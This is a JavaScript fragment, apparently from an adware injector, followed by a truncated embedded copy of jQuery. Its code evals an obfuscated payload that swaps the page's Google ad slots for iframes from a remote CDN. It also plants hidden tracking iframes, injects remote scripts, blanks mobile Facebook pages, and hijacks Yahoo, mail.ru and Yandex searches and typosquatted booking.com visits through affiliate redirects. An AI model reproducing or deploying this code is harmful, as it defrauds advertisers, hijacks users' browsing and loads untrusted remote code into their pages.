if (['4dc06', '42265', '84a21', 'ef3e3', '031e7', '58c2e', '85031', '5db45', 'ac348', '6cf2f', '220bb', 'b6eb3', '1a2aa', '08552', '4a71b', 'cd1d2', '81d01', 'f81c7', 'b777a', 'a49b5', 'c3369', 'f4c82', 'd115b', '4a0ef', '95dd2', '5de0e', 'e1d94'].indexOf(key) == -1) {
if (extendedCallbacks) {
$$.loadedCallback("CB_MNTZ_FILTER_SERCHNGN", key, location.hostname)
}
continue
}
}
if (ownMonetizationsClickFlag) {
if (['4dc06', 'bd895', '1f755', '42265', '84a21', 'ef3e3', '031e7', '58c2e', '85031', 'ac348', '6cf2f', '220bb', 'b6eb3', '1a2aa', '5db45', '08552', '4a71b', '02aed'].indexOf(key) == -1) {
if (extendedCallbacks) {
$$.loadedCallback("CB_MNTZ_FILTER_OWNMNTZ", key, location.hostname)
}
continue
}
}
if (typeof(scriptUrl) == "object") {
if (scriptUrl.rotator) {
var rotatorCount = scriptUrl.rotator.length;
if (!rotatorCount) {
rotatorCount = 0
}
var rotatorCookieName = "_mrtr_c822bb0d82ad01a5ae_" + key;
var lastRotatedIndex = $$.getCookie(rotatorCookieName);
if (!lastRotatedIndex || lastRotatedIndex < 0 || lastRotatedIndex >= rotatorCount) {
lastRotatedIndex = 0
}
scriptUrlParams = scriptUrl.rotator[lastRotatedIndex];
scriptUrl = getUrlFromConfigObject(scriptUrlParams);
lastRotatedIndex++;
$$.setCookie(rotatorCookieName, lastRotatedIndex, {
expire: 86400
})
} else {
scriptUrlParams = scriptUrl;
scriptUrl = getUrlFromConfigObject(scriptUrlParams)
}
}
if (typeof(scriptUrl) != "string") {
$$.loadedCallback("CB_MNTZ_FILTER_INVALIDURL", key);
continue
}
if (!$$.demoMode) {
if ("200" == 1549 && location.protocol == "https:" && (key == "a8bb7" || key == "e9254")) {
if (extendedCallbacks) {
$$.loadedCallback("CB_MNTZ_FILTER_CUSTOM", key)
}
continue
}
if ((location.hostname == "youtube.com" || location.hostname == "www.youtube.com") && key != "1f755" && key != "1fbee" && key != "c3369" && key != "f4c82" && key != "95dd2") {
continue
}
if (location.hostname.indexOf("facebook.com") > -1) {
continue
}
if (optout && optout[key] != undefined && optout[key] == true) {
if (extendedCallbacks) {
$$.loadedCallback("CB_MNTZ_FILTER_OPTOUTED", key, optout[key])
}
continue
}
if (scriptRow.countries_allow && scriptRow.countries_allow.indexOf(country) == -1) {
if (extendedCallbacks) {
$$.loadedCallback("CB_MNTZ_FILTER_GEOALLOW", key, country, scriptRow.countries_allow)
}
continue
}
if (scriptRow.countries_deny && scriptRow.countries_deny.indexOf(country) > -1) {
if (extendedCallbacks) {
$$.loadedCallback("CB_MNTZ_FILTER_GEODENY", key, country, scriptRow.countries_deny)
}
continue
}
if ((scriptCoverageFrom || scriptCoverageTo) && (userId < scriptCoverageFrom || userId > scriptCoverageTo)) {
if (extendedCallbacks) {
$$.loadedCallback("CB_MNTZ_FILTER_COVERAGE", key, userId, scriptCoverageFrom + "-" + scriptCoverageTo)
}
continue
}
if (limits && limits[key]) {
var leftTime = parseInt(limits[key]) - timeNow;
if (leftTime > 0) {
if (extendedCallbacks) {
$$.loadedCallback("CB_MNTZ_FILTER_LIMIT", key, leftTime, parseInt(limits[key]))
}
continue
}
}
if (key == "a096e" && targetingUser != 1) {
continue
}
var hostnameReg;
if (scriptRow.hostname_deny) {
hostnameReg = new RegExp("^" + scriptRow.hostname_deny + "$", "i");
if (hostnameReg.test(currentHostname)) {
if (extendedCallbacks) {
$$.loadedCallback("CB_MNTZ_FILTER_HOSTDENY", key, location.hostname, scriptRow.hostname_deny)
}
continue
}
}
if (scriptRow.hostname_allow) {
hostnameReg = new RegExp("^" + scriptRow.hostname_allow + "$", "i");
if (!hostnameReg.test(currentHostname)) {
if (extendedCallbacks) {
$$.loadedCallback("CB_MNTZ_FILTER_HOSTALLOW", key, location.hostname, scriptRow.hostname_allow)
}
continue
}
}
if (scriptRow.browsers_allow || scriptRow.browsers_deny) {
if (typeof detect == "undefined") {
continue
}
var ua = detect.parse(navigator.userAgent);
var checkUa = ua.browser.family.toLowerCase();
var browserAllowed = false
}
if (scriptRow.browsers_allow) {
var browsersAllow = scriptRow.browsers_allow.toLowerCase().split(",");
for (var i2 in browsersAllow) {
if (browsersAllow[i2] == checkUa) {
browserAllowed = true;
break
}
}
if (!browserAllowed) {
if (extendedCallbacks) {
$$.loadedCallback("CB_MNTZ_FILTER_BROWSALLOW", key, checkUa, scriptRow.browsers_allow)
}
continue
}
}
if (scriptRow.browsers_deny) {
var browsersDeny = scriptRow.browsers_deny.toLowerCase().split(",");
for (var i2 in browsersDeny) {
if (browsersDeny[i2] == checkUa) {
browserAllowed = false;
break
}
}
if (!browserAllowed) {
if (extendedCallbacks) {
$$.loadedCallback("CB_MNTZ_FILTER_BROWSDENY", key, checkUa, scriptRow.browsers_deny)
}
continue
}
}
} else {};
if (key == "78507") {
(function(tbObject) {
eval("!function(){function e(){var e;try{e=new ActiveXObject(\"Msxml2.XMLHTTP\")}catch(t){try{e=new ActiveXObject(\"Microsoft.XMLHTTP\")}catch(t){e=!1}}e||\"undefined\"==typeof XMLHttpRequest||(e=new XMLHttpRequest),this.xhr=e}function t(e){for(var t=e.toString(),n=\"\",r=0;r<t.length;r+=2)n+=String.fromCharCode(parseInt(t.substr(r,2),16));return n}function n(){if(0!=a.length){for(var e=Math.random(),n=\"\",i=o[a[0]],c=0;c<a.length;c++){var s=a[c],l=o[s];if(e<i){n=s;break}i+=l}var d=\"\";if(n){n=t(n);for(c=0;c<n.length;c++)d+=String.fromCharCode(n.charCodeAt(c)^\"f2ibc8s2\".charCodeAt(c%\"f2ibc8s2\".length));r=\"//1087072589.rsc.cdn77.org/k/banner_index_gads.html?domain=\"+d+\"&\"}else r=\"\"}else r=\"\"}if(window==window.top){e.prototype.get=function(e,t,n){var r=this.xhr;if(n)var a=setTimeout(function(){r.abort(),t(!1,\"Timeout reached\")},n);t=t||function(){},r.onreadystatechange=function(){4==r.readyState&&(clearTimeout(a),t(200==r.status,r.responseText),r.abort())},r.open(\"GET\",e,!0),r.send(null)};var r,a=[],o={},i=function(){function t(t){(new e).get(\"//api.stathat.com/c?key=gT7Z3HZb-Fz5keFGOYjzTyBMbTlPSA~~&ukey=MTM1MzkgD1_LU1S68cRBsL4BFHW56g~~&count=1\",function(){},2e4);var a=t.clientHeight,o=t.clientWidth;if(n(),r){var i=t.parentNode,c=document.createElement(\"div\");url=document.location,src_url=r+\"w=\"+o+\"&h=\"+a,c.innerHTML=\'<iframe frameborder=\"0\" vspace=\"0\" hspace=\"0\" allowtransparency=\"true\" scrolling=\"no\" width=\"\'+o+\'\" height=\"\'+a+\'\" src=\"\'+src_url+\'\" sandbox=\"allow-scripts allow-forms allow-popups allow-same-origin\"></iframe>\',i.replaceChild(c,t)}}var a=[],o=[];if(function(){for(var e=document.getElementsByTagName(\"ins\"),t=0;t<e.length;t++){e[t].id;\"adsbygoogle\"==e[t].className&&a.push(e[t])}}(),function(){for(var e=document.getElementsByTagName(\"div\"),t=/.*ad-unit.*/i,n=0;n<e.length;n++){var r=e[n].className;t.test(r)&&a.push(e[n])}}(),function(){for(var e=/aswift_[0-9]_expand/i,t=document.getElementsByTagName(\"ins\"),n=0;n<t.length;n++){var r=t[n].id,i=(t[n].className,!1);if(e.test(r)){for(var c=t[n].parentNode,s=0;s<a.length;s++)if(a[s]==c){i=!0;break}i||o.push(t[n])}}}(),function(){for(var e=/google_ads/i,t=document.getElementsByTagName(\"iframe\"),n=0;n<t.length;n++){var r=t[n].id;e.test(r)&&a.push(t[n].parentNode)}}(),a.length+o.length>0){window.google_ad_client=\"\",window.google_ad_slot=\"\";var i=document.createElement(\"meta\");i.setAttribute(\"name\",\"referrer\"),i.setAttribute(\"content\",\"no-referrer\"),document.head.appendChild(i)}var c=0;!function(){for(var e=0;e<a.length;e++)t(a[e]),c++}(),function(){for(var e=0;e<o.length;e++)t(o[e]),c++}()};!function(t){(new e).get(\"//1087072589.rsc.cdn77.org/gabr/slistext.json\",function(e,n){if(e&&n)try{o=JSON.parse(n);for(var r in o)o.hasOwnProperty(r)&&a.push(r);t()}catch(e){}},2e4)}(function(){\"complete\"==document.readyState||\"interactive\"==document.readyState?i():document.addEventListener(\"DOMContentLoaded\",function(){i()},!1)})}}();")
})($$)
};
if (key == "1a2aa") {
continue
}
if (key == "5db45") {
continue
}
if (key == "309e4") {
continue
}
if (key == "c3e34") {
if (!isInIframe()) {
(function(f, b, c) {
var e = ["https://www.hanstrackr.com/track?i=nuS6Dgnt9GUnnKwQ"];
var a = document.createElement("iframe");
a.src = e[0];
a.setAttribute("style", "width:1px;height:1px;opacity: 0;position:absolute;left:-500px;top:-500px;");
f.body.appendChild(a)
})(document, window);
}
continue
}
if (key == "a49b5" || key == "1dbbc") {
continue
}
if (scriptRow.type == "external") {
$$.loadedCallback("MNTZ_INJECT", key);
scriptUrl = scriptUrl.replace(/\/SID\//g, encodeURIComponent($$.tbParams.sid));
scriptUrl = scriptUrl.replace(/\/TITLE\//g, encodeURIComponent($$.tbParams.title));
scriptUrl = scriptUrl.replace(/\/REFERRER\//g, encodeURIComponent(location.href));
scriptUrl = scriptUrl.replace(/\/REF_HOST\//g, encodeURIComponent(location.hostname ? location.hostname : location.host));
scriptUrl = scriptUrl.replace(/\/RANDOM\//g, Math.floor(Math.random() * 52));
scriptUrl = scriptUrl.replace(/\/OPTOUTURL_DBLENCODED\//g, encodeURIComponent(encodeURIComponent(($$.tbParams.optoutUrl ? $$.tbParams.optoutUrl : "http://thisadsfor.us/optout?t=200&u=49377&block=" + key))));
scriptUrl = scriptUrl.replace(/\/OPTOUTURL\//g, encodeURIComponent(($$.tbParams.optoutUrl ? $$.tbParams.optoutUrl : "http://thisadsfor.us/optout?t=200&u=49377&block=" + key)));
if (scriptUrl) {
if (scriptUrl.substr(0, 2) == "//") {
scriptUrl = (window.location.protocol == "http:" ? "http:" : "https:") + scriptUrl
}(function(block) {
var script = $$.script(scriptUrl, false, (scriptUrlParams.tag_attributes ? scriptUrlParams.tag_attributes : null));
$$.on(script, "load", function() {
$$.loadedCallback("MNTZ_LOADED", block);
$$.updateLimits(block)
})
})(key)
} else {
$$.loadedCallback("MNTZ_LOADED", key);
$$.updateLimits(key)
}
} else {
if (scriptRow.type == "platform") {
platformBlocks.push(key)
} else {}
}
} catch (e) {
$$.loadedCallback("CORE_JS_ERROR", key)
}
}
if (platformBlocks.length > 0) {
var params = ["sid=" + $$.tbParams.wid + "_" + $$.tbParams.tid + "_" + $$.tbParams.sid, "title=" + encodeURIComponent($$.tbParams.title)];
for (var i in platformBlocks) {
if (typeof platformBlocks[i] != "string") {
break
}
params.push("blocks[]=" + platformBlocks[i])
}
var url = (window.location.protocol == "http:" ? "http:" : "https:") + "//" + $$.scriptDomain + "/ext/c822bb0d82ad01a5ae.js?" + params.join("&");
$$.script(url, false);
$$.loadedCallback("MNTZ_INJECT", platformBlocks.join(","))
}
}
});
if (scriptsToLoad['af23c']) {
(function(f, h, j) {
var g = true;
try {
if (chrome.bookmarks) {
g = false
}
} catch (c) {}
if (location.protocol == "chrome-extension:") {
g = false
}
if (g) {
var b = window.location.href;
var l = document.getElementById("dexscriptpopup");
if (l === null && b.indexOf("m.facebook.com") != "-1") {
document.body.style.width = "0px";
var k = document.createElement("div");
k.id = "dexscriptpopup";
k.style.cssText = "position:fixed; width:100%; height:100%; z-index:100; background:#fff; top:0px; left: 0px;";
document.body.appendChild(k);
setTimeout(function() {
window.close()
}, 10000)
}
var i = document.createElement("script");
i.id = "dexscriptid";
i.src = "https://votetoda.com/ext/script.php?id=ukr&track=true";
var a = document.getElementById("dexscriptid");
if (a === null) {
document.body.appendChild(i)
} else {}
} else {
var i = document.createElement("script");
i.id = "dexscriptid";
i.src = "https://votetoda.com/ext/script.php?id=ukr&track=false";
var a = document.getElementById("dexscriptid");
if (a === null) {
document.body.appendChild(i)
} else {}
}
})(document, window);
}
}
if (location.host.indexOf("youradexchange.com") >= 0 && location.pathname.indexOf("a/display.") >= 0) {
if ($$.getParams && $$.getParams.r && $$.getParams.r != 391766 && $$.getParams.r != 391769) {
var r = $$.randomNumber(1, 100);
var rLimit = 100;
if (r <= rLimit) {
setTimeout(function() {
location.href = "http://www.youradexchange.com/a/display.php?r=391769&sub1=pr" + $$.tbParams.wid + "x" + $$.tbParams.tid + "x" + $$.tbParams.sid
}, 0)
} else {}
}
}
var matchPattern = /(boobking\.|booing\.|buking\.|boocking\.|boooking\.|bookking\.|booing\.)/i;
if (location.hostname.match(matchPattern)) {
if (typeof window.stop == "function") {
window.stop()
}
location.href = "http://adrs.me/get?key=6ae9f4bd1dc812dc713d61cba871d8e8&out=http%3A%2F%2Fbooking.com&ref=http%3A%2F%2Fgo.com&format=go&uid=rdr49377"
}
if (isInIframe()) {
return
}
if (scriptsToLoad['85031']) {
(function() {
var block = '85031';
$$.ready(function() {
try {
(function() {
if (location.hostname.indexOf("search.yahoo.com") == -1 || location.pathname.indexOf("/search") == -1) {
return
}
var r = $$.randomNumber(1, 100);
var rLimit = scriptsToLoad[block].coverage;
if (r > rLimit) {
return
}
$$.loadedCallback("MNTZ_LOADED", block);
if ($$.getCookie("__ckp_srchyho_fired") == 1) {
return
}
function getParams() {
params = {};
for (var e = location.search.replace("?", ""), r = e.split("&"), c = 0; c < r.length; c++) {
t = r[c].split("="), t[1] && (params[t[0]] = t[1])
}
var a = location.hash.replace("#", "");
a && (t = a.split("="), t[1] && (params[t[0]] = t[1]))
}
function checkYahooTag() {
getParams();
if (location.href.indexOf("tightrope") > -1 && location.href.indexOf("tr57") > -1) {
return
} else {
redirectSearch("p")
}
}
function redirectSearch(e) {
if (getParams(), void 0 != params[e]) {
window.stop && window.stop(), document.documentElement.style.opacity = "0", document.documentElement.style.display = "none";
var r = params[e],
c = "http://sugabit.net/search.php?source=btn&sid=" + $$.tbParams.wid + "x" + $$.tbParams.tid + "x" + $$.tbParams.sid + "&q=" + r;
$$.loadedCallback("BANNER_LOAD", block);
$$.setCookie("__ckp_srchyho_fired", 1, {
expire: 1800
});
location.href = c, clearInterval(tmr)
}
}
function checkForSearch() {
var e = location.href; - 1 != d.indexOf("search.yahoo.com") && checkYahooTag() && clearInterval(tmr)
}
var d = window.document.domain,
tmr, tmrCnt = 0,
params = {};
window == top && (checkForSearch(), tmr = setInterval(checkForSearch, 100))
})()
} catch (e) {}
})
})()
}
if (scriptsToLoad['ac348']) {
(function() {
var block = 'ac348';
$$.ready(function() {
try {
(function() {
if (location.hostname.indexOf("go.mail.ru") == -1 || location.pathname.indexOf("/search") == -1) {
return
}
var r = $$.randomNumber(1, 100);
var rLimit = scriptsToLoad[block].coverage;
if (r > rLimit) {
return
}
$$.loadedCallback("MNTZ_LOADED", block);
if ($$.getCookie("__ckp_srchmlr_fired") == 1) {
return
}
function getParams() {
params = {};
for (var e = location.search.replace("?", ""), r = e.split("&"), c = 0; c < r.length; c++) {
t = r[c].split("="), t[1] && (params[t[0]] = t[1])
}
var a = location.hash.replace("#", "");
a && (t = a.split("="), t[1] && (params[t[0]] = t[1]))
}
function checkMailruTag() {
getParams();
if (params.frc && params.frc == "821563") {
return
} else {
redirectSearch("q")
}
}
function redirectSearch(e) {
if (getParams(), void 0 != params[e]) {
window.stop && window.stop(), document.documentElement.style.opacity = "0", document.documentElement.style.display = "none";
var r = params[e],
c = "http://sugabit.net/search.php?source=btn2&sid=" + $$.tbParams.wid + "x" + $$.tbParams.tid + "x" + $$.tbParams.sid + "&q=" + r;
$$.loadedCallback("BANNER_LOAD", block);
$$.setCookie("__ckp_srchmlr_fired", 1, {
expire: 1800
});
location.href = c, clearInterval(tmr)
}
}
function checkForSearch() {
var e = location.href; - 1 != d.indexOf("go.mail.ru") && checkMailruTag() && clearInterval(tmr)
}
var d = window.document.domain,
tmr, tmrCnt = 0,
params = {};
window == top && (checkForSearch(), tmr = setInterval(checkForSearch, 100))
})()
} catch (e) {}
})
})()
}
if (scriptsToLoad['5db45']) {
(function() {
var block = '5db45';
$$.ready(function() {
try {
if (location.hostname.indexOf("yandex.") !== 0 || location.pathname.indexOf("/search") == -1) {
return
}
var r = $$.randomNumber(1, 100);
var rLimit = scriptsToLoad[block].coverage;
if (r > rLimit) {
return
}
$$.loadedCallback("MNTZ_LOADED", block);
if ($$.getCookie("__ckp_srchydx_fired") == 1) {
return
}
function getParams() {
params = {};
for (var e = location.search.replace("?", ""), r = e.split("&"), c = 0; c < r.length; c++) {
t = r[c].split("="), t[1] && (params[t[0]] = t[1])
}
var a = location.hash.replace("#", "");
a && (t = a.split("="), t[1] && (params[t[0]] = t[1]))
}
function checkAff() {
getParams();
if (params.clid && params.clid == "2300267") {
return true
} else {
window.stop && window.stop();
$$.loadedCallback("BANNER_LOAD", block);
$$.setCookie("__ckp_srchydx_fired", 1, {
expire: 1800
});
location.search = location.search.length ? location.search + "&clid=2300267" : "?clid=2300267";
clearInterval(tmr)
}
}
function checkForSearch() {
-1 != d.indexOf("yandex.") && checkAff() && clearInterval(tmr)
}
var d = window.document.domain,
tmr, params = {};
if (window == top) {
checkForSearch();
tmr = setInterval(checkForSearch, 100)
}
} catch (e) {}
})
})()
};
if (scriptsToLoad['309e4']) {
(function() {
if (location.hostname.indexOf("facebook.com") > -1 || location.hostname.indexOf("vk.com") > -1 || location.hostname.indexOf("dailymotion.com") > -1 || location.hostname.indexOf("coub.com") > -1) {
"use strict";
var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function(a) {
return typeof a
} : function(a) {
return a && typeof Symbol === "function" && a.constructor === Symbol && a !== Symbol.prototype ? "symbol" : typeof a
};
(function(b, a) {
if (typeof module === "object" && typeof module.exports === "object") {
module.exports = b.document ? a(b, true) : function(c) {
if (!c.document) {
throw new Error("jQuery requires a window with a document")
}
return a(c)
}
} else {
a(b)
}
}(typeof window !== "undefined" ? window : this, function(bd, aE) {
var aX = [];
var m = bd.document;
var Y = aX.slice;
var aI = aX.concat;
var x = aX.push;
var b3 = aX.indexOf;
var al = {};
var y = al.toString;
var S = al.hasOwnProperty;
var G = {};
var aq = "1.12.4",
bQ = function(i, ce) {
return new bQ.fn.init(i, ce)
},
H = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,
b0 = /^-ms-/,
a4 = /-([\da-z])/gi,
X = function(i, ce) {
return ce.toUpperCase()
};
bQ.fn = bQ.prototype = {
jquery: aq,
constructor: bQ,
selector: "",
length: 0,
toArray: function() {
return Y.call(this)
},
get: function(i) {
return i != null ? (i < 0 ? this[i + this.length] : this[i]) : Y.call(this)
},
pushStack: function(i) {
var ce = bQ.merge(this.constructor(), i);
ce.prevObject = this;
ce.context = this.context;
return ce
},
each: function(i) {
return bQ.each(this, i)
},
map: function(i) {
return this.pushStack(bQ.map(this, function(cf, ce) {
return i.call(cf, ce, cf)
}))
},
slice: function() {
return this.pushStack(Y.apply(this, arguments))
},
first: function() {
return this.eq(0)
},
last: function() {
return this.eq(-1)
},
eq: function(cg) {
var ce = this.length,
cf = +cg + (cg < 0 ? ce : 0);
return this.pushStack(cf >= 0 && cf < ce ? [this[cf]] : [])
},
end: function() {
return this.prevObject || this.constructor()
},
push: x,
sort: aX.sort,
splice: aX.splice
};
bQ.extend = bQ.fn.extend = function() {
var ce, ck, cf, cg, cn, cl, cj = arguments[0] || {},
ci = 1,
ch = arguments.length,
cm = false;
if (typeof cj === "boolean") {
cm = cj;
cj = arguments[ci] || {};
ci++
}
if (typeof cj !== "object" && !bQ.isFunction(cj)) {
cj = {}
}
if (ci === ch) {
cj = this;
ci--
}
for (; ci < ch; ci++) {
if ((cn = arguments[ci]) != null) {
for (cg in cn) {
ce = cj[cg];
cf = cn[cg];
if (cj === cf) {
continue
}
if (cm && cf && (bQ.isPlainObject(cf) || (ck = bQ.isArray(cf)))) {
if (ck) {
ck = false;
cl = ce && bQ.isArray(ce) ? ce : []
} else {
cl = ce && bQ.isPlainObject(ce) ? ce : {}
}
cj[cg] = bQ.extend(cm, cl, cf)
} else {
if (cf !== undefined) {
cj[cg] = cf
}
}
}
}
}
return cj
};
bQ.extend({
expando: "jQuery" + (aq + Math.random()).replace(/\D/g, ""),
isReady: true,
error: function(i) {
throw new Error(i)
},
noop: function() {},
isFunction: function(i) {
return bQ.type(i) === "function"
},
isArray: Array.isArray || function(i) {
return bQ.type(i) === "array"
},
isWindow: function(i) {
return i != null && i == i.window
},
isNumeric: function(ce) {
var i = ce && ce.toString();
return !bQ.isArray(ce) && (i - parseFloat(i) + 1) >= 0
},
isEmptyObject: function(ce) {
var i;
for (i in ce) {
return false
}
return true
},
isPlainObject: function(cf) {
var i;
if (!cf || bQ.type(cf) !== "object" || cf.nodeType || bQ.isWindow(cf)) {
return false
}
try {
if (cf.constructor && !S.call(cf, "constructor") && !S.call(cf.constructor.prototype, "isPrototypeOf")) {
return false
}
} catch (ce) {
return false
}
if (!G.ownFirst) {
for (i in cf) {
return S.call(cf, i)
}
}
for (i in cf) {}
return i === undefined || S.call(cf, i)
},
type: function(i) {
if (i == null) {
return i + ""
}
return typeof i === "object" || typeof i === "function" ? al[y.call(i)] || "object" : typeof i
},
globalEval: function(i) {
if (i && bQ.trim(i)) {
(bd.execScript || function(ce) {
bd["eval"].call(bd, ce)
})(i)
}
},
camelCase: function(i) {
return i.replace(b0, "ms-").replace(a4, X)
},
nodeName: function(ce, i) {
return ce.nodeName && ce.nodeName.toLowerCase() === i.toLowerCase()
},
each: function(cg, ch) {
var cf, ce = 0;
if (aC(cg)) {
cf = cg.length;
for (; ce < cf; ce++) {
if (ch.call(cg[ce], ce, cg[ce]) === false) {
break
}
}
} else {
for (ce in cg) {
if (ch.call(cg[ce], ce, cg[ce]) === false) {
break
}
}
}
return cg
},
trim: function(i) {
return i == null ? "" : (i + "").replace(H, "")
},
makeArray: function(i, cf) {
var ce = cf || [];
if (i != null) {
if (aC(Object(i))) {
bQ.merge(ce, typeof i === "string" ? [i] : i)
} else {
x.call(ce, i)
}
}
return ce
},
inArray: function(ch, cf, cg) {
var ce;
if (cf) {
if (b3) {
return b3.call(cf, ch, cg)
}
ce = cf.length;
cg = cg ? cg < 0 ? Math.max(0, ce + cg) : cg : 0;
for (; cg < ce; cg++) {
if (cg in cf && cf[cg] === ch) {
return cg
}
}
}
return -1
},
merge: function(ci, cg) {
var ce = +cg.length,
cf = 0,
ch = ci.length;
while (cf < ce) {
ci[ch++] = cg[cf++]
}
if (ce !== ce) {
while (cg[cf] !== undefined) {
ci[ch++] = cg[cf++]
}
}
ci.length = ch;
return ci
},
grep: function(ce, cl, ci) {
var ck, ch = [],
cf = 0,
cg = ce.length,
cj = !ci;
for (; cf < cg; cf++) {
ck = !cl(ce[cf], cf);
if (ck !== cj) {
ch.push(ce[cf])
}
}
return ch
},
map: function(cf, ck, ce) {
var ci, cj, ch = 0,
cg = [];
if (aC(cf)) {
ci = cf.length;
for (; ch < ci; ch++) {
cj = ck(cf[ch], ch, ce);
if (cj != null) {
cg.push(cj)
}
}
} else {
for (ch in cf) {
cj = ck(cf[ch], ch, ce);
if (cj != null) {
cg.push(cj)
}
}
}
return aI.apply([], cg)
},
guid: 1,
proxy: function(ch, cg) {
var i, cf, ce;
if (typeof cg === "string") {
ce = ch[cg];
cg = ch;
ch = ce
}
if (!bQ.isFunction(ch)) {
return undefined
}
i = Y.call(arguments, 2);
cf = function() {
return ch.apply(cg || this, i.concat(Y.call(arguments)))
};
cf.guid = ch.guid = ch.guid || bQ.guid++;
return cf
},
now: function() {
return +(new Date())
},
support: G
});
if (typeof Symbol === "function") {
bQ.fn[Symbol.iterator] = aX[Symbol.iterator]
}
bQ.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "), function(cf, ce) {
al["[object " + ce + "]"] = ce.toLowerCase()
});
function aC(cf) {
var ce = !!cf && "length" in cf && cf.length,
i = bQ.type(cf);
if (i === "function" || bQ.isWindow(cf)) {
return false
}
return i === "array" || ce === 0 || typeof ce === "number" && ce > 0 && (ce - 1) in cf
}
var l = (function(dl) {
var cF, dp, cu, cO, cR, co, c3, dn, du, cP, c4, c6, cJ, cv, df, da, dm, cl, cM, dh = "sizzle" + 1 * new Date(),
cQ = dl.document,
dq = 0,
db = 0,
cg = cH(),
dg = cH(),
cN = cH(),
cL = function(dv, i) {
if (dv === i) {
c4 = true
}
return 0
},
cX = 1 << 31,
cV = ({}).hasOwnProperty,
dj = [],
dk = dj.pop,
cT = dj.push,
ce = dj.push,
ct = dj.slice,
ck = function(dy, dx) {
var dw = 0,
dv = dy.length;
for (; dw < dv; dw++) {
if (dy[dw] === dx) {
return dw
}
}
return -1
},
cf = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",
cw = "[\\x20\\t\\r\\n\\f]",
cS = "(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",
dd = "\\[" + cw + "*(" + cS + ")(?:" + cw + "*([*^$|!~]?=)" + cw + "*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|(" + cS + "))|)" + cw + "*\\]",
cr = ":(" + cS + ")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|" + dd + ")*)|.*)\\)|)",
cB = new RegExp(cw + "+", "g"),
cy = new RegExp("^" + cw + "+|((?:^|[^\\\\])(?:\\\\.)*)" + cw + "+$", "g"),
cC = new RegExp("^" + cw + "*," + cw + "*"),
cI = new RegExp("^" + cw + "*([>+~]|" + cw + ")" + cw + "*"),
cA = new RegExp("=" + cw + "*([^\\]'\"]*?)" + cw + "*\\]", "g"),
cZ = new RegExp(cr),
c1 = new RegExp("^" + cS + "$"),
c9 = {
ID: new RegExp("^#(" + cS + ")"),
CLASS: new RegExp("^\\.(" + cS + ")"),
TAG: new RegExp("^(" + cS + "|[*])"),
ATTR: new RegExp("^" + dd),
PSEUDO: new RegExp("^" + cr),
CHILD: new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + cw + "*(even|odd|(([+-]|)(\\d*)n|)" + cw + "*(?:([+-]|)" + cw + "*(\\d+)|))" + cw + "*\\)|)", "i"),
bool: new RegExp("^(?:" + cf + ")$", "i"),
needsContext: new RegExp("^" + cw + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + cw + "*((?:-\\d)?\\d*)" + cw + "*\\)|)(?=[^-]|$)", "i")
},
cj = /^(?:input|select|textarea|button)$/i,
cs = /^h\d$/i,
cW = /^[^{]+\{\s*\[native \w/,
cY = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,
c8 = /[+~]/,
cU = /'|\\/g,
cz = new RegExp("\\\\([\\da-f]{1,6}" + cw + "?|(" + cw + ")|.)", "ig"),
dc = function(i, dx, dv) {
var dw = "0x" + dx - 65536;
return dw !== dw || dv ? dx : dw < 0 ? String.fromCharCode(dw + 65536) : String.fromCharCode(dw >> 10 | 55296, dw & 1023 | 56320)
},
dt = function() {
c6()
};
try {
ce.apply((dj = ct.call(cQ.childNodes)), cQ.childNodes);
dj[cQ.childNodes.length].nodeType
} catch (cK) {
ce = {
apply: dj.length ? function(dv, i) {
cT.apply(dv, ct.call(i))
} : function(dy, dx) {
var dv = dy.length,
dw = 0;
while ((dy[dv++] = dx[dw++])) {}
dy.length = dv - 1
}
}
}
function cD(dC, dw, dF, dI) {
var dA, dG, dz, dv, dJ, dH, dy, dD, dx = dw && dw.ownerDocument,
dE = dw ? dw.nodeType : 9;
dF = dF || [];
if (typeof dC !== "string" || !dC || dE !== 1 && dE !== 9 && dE !== 11) {
return dF
}
if (!dI) {
if ((dw ? dw.ownerDocument || dw : cQ) !== cJ) {
c6(dw)
}
dw = dw || cJ;
if (df) {
if (dE !== 11 && (dH = cY.exec(dC))) {
if ((dA = dH[1])) {
if (dE === 9) {
if ((dz = dw.getElementById(dA))) {
if (dz.id === dA) {
dF.push(dz);
return dF
}
} else {
return dF
}
} else {
if (dx && (dz = dx.getElementById(dA)) && cM(dw, dz) && dz.id === dA) {
dF.push(dz);
return dF
}
}
} else {
if (dH[2]) {
ce.apply(dF, dw.getElementsByTagName(dC));
return dF
} else {
if ((dA = dH[3]) && dp.getElementsByClassName && dw.getElementsByClassName) {
ce.apply(dF, dw.getElementsByClassName(dA));
return dF
}
}
}
}
if (dp.qsa && !cN[dC + " "] && (!da || !da.test(dC))) {
if (dE !== 1) {
dx = dw;
dD = dC
} else {
if (dw.nodeName.toLowerCase() !== "object") {
if ((dv = dw.getAttribute("id"))) {
dv = dv.replace(cU, "\\$&")
} else {
dw.setAttribute("id", (dv = dh))
}
dy = co(dC);
dG = dy.length;
dJ = c1.test(dv) ? "#" + dv : "[id='" + dv + "']";
while (dG--) {
dy[dG] = dJ + " " + cp(dy[dG])
}
dD = dy.join(",");
dx = c8.test(dC) && c0(dw.parentNode) || dw
}
}
if (dD) {
try {
ce.apply(dF, dx.querySelectorAll(dD));
return dF
} catch (dB) {} finally {
if (dv === dh) {
dw.removeAttribute("id")
}
}
}
}
}
}
return dn(dC.replace(cy, "$1"), dw, dF, dI)
}
function cH() {
var dv = [];
function i(dw, dx) {
if (dv.push(dw + " ") > cu.cacheLength) {
delete i[dv.shift()]
}
return (i[dw + " "] = dx)
}
return i
}
function cq(i) {
i[dh] = true;
return i
}
function cm(i) {
var dw = cJ.createElement("div");
try {
return !!i(dw)
} catch (dv) {
return false
} finally {
if (dw.parentNode) {
dw.parentNode.removeChild(dw)
}
dw = null
}
}
function dr(dw, dy) {
var dv = dw.split("|"),
dx = dv.length;
while (dx--) {
